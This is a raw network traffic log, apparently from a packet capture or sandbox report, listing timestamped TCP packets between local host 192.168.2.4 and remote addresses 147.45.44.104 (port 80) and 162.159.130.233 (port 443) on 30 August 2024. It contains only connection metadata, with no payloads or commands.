Aug 30, 2024 06:17:04.206408978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206418991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206427097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206453085 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.206465006 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.206521988 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206532001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206540108 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206547976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206557989 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206567049 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.206583023 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.206595898 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.206651926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206660986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206669092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206679106 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206686974 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206690073 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.206696987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206706047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206708908 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.206722021 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.206742048 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.211538076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.211580992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.211590052 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.211590052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.211622953 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.211642981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.211652040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.211659908 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.211671114 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.211684942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.211688995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.211702108 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.211719036 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212188959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212198019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212205887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212232113 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212244034 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212259054 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212268114 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212275982 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212285995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212294102 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212306976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212311029 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212316990 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212318897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212340117 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212357998 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212388992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212399960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212408066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212434053 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212435007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212447882 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212471008 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212486029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212500095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212542057 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212563992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212573051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212580919 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212590933 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212614059 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212629080 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212639093 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212649107 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212657928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212677002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212685108 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212904930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212933064 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.212949038 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.212963104 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213033915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213044882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213052988 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213063002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213072062 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213078976 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213099003 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213108063 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213108063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213118076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213155985 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213166952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213175058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213182926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213208914 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213218927 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213234901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213246107 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213253975 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213279009 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213289022 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213330030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213345051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213354111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213362932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213368893 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213377953 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213387012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213401079 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213428020 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213438034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213448048 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213455915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213485003 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213495016 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213548899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213557959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213567019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213576078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213584900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213594913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213594913 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213610888 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213632107 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213709116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213717937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213726997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213737011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213747025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213753939 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213758945 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213762999 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213785887 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213808060 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213809967 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213818073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213849068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213854074 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213857889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213870049 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213892937 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213924885 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.213944912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213954926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213963032 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213972092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213983059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.213989973 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.214016914 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.214077950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.214087963 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.214097023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.214122057 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.214145899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.214145899 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.214154959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.214163065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.214174032 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.214184046 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.214185953 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.214189053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.214234114 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.214238882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.214268923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.214282036 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.214299917 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.214359999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.214370012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.214379072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.214387894 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.214411020 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.214425087 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.256993055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.257002115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.257010937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.257066965 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.257075071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.257085085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.257093906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.257105112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.257116079 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.257132053 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.257150888 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.257189035 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.266338110 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.266381979 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.266390085 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.266401052 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.266422987 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.266436100 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.266446114 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.266450882 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.266477108 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.266499043 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.266506910 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.266544104 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.266550064 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.266587019 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.266952038 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.267000914 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.267007113 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.267013073 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.267046928 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.271059036 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.271105051 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.271111012 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.271147966 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.274595022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.274605036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.274614096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.274638891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.274655104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.274658918 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.274665117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.274673939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.274683952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.274689913 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.274701118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.274709940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.274733067 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300254107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300331116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300332069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300339937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300358057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300364017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300368071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300378084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300381899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300388098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300398111 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300426006 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300455093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300470114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300479889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300488949 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300496101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300507069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300513983 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300539017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300565958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300576925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300585985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300597906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300606012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300607920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300617933 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300648928 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300750017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300760984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300770044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300781012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300791979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300796032 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300802946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300812960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300816059 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300828934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300854921 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300898075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300908089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300916910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300928116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300939083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300940037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300947905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300959110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300961018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300972939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.300978899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.300998926 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301019907 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301043987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301054955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301064968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301076889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301086903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301111937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301192999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301207066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301218033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301229000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301237106 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301239967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301250935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301260948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301264048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301274061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301286936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301300049 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301480055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301489115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301495075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301500082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301508904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301518917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301527977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301528931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301538944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301541090 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301551104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301561117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301563025 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301575899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301575899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301598072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301601887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301611900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301615953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301620960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301631927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301635981 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301649094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301659107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301660061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301668882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301681042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301683903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301691055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301702023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301712036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301726103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301749945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301769972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301919937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301937103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301947117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301958084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301964045 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.301969051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301980972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301990986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.301992893 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302000999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302000999 CEST	49733	80	192.168.2.4	147.45.44.104
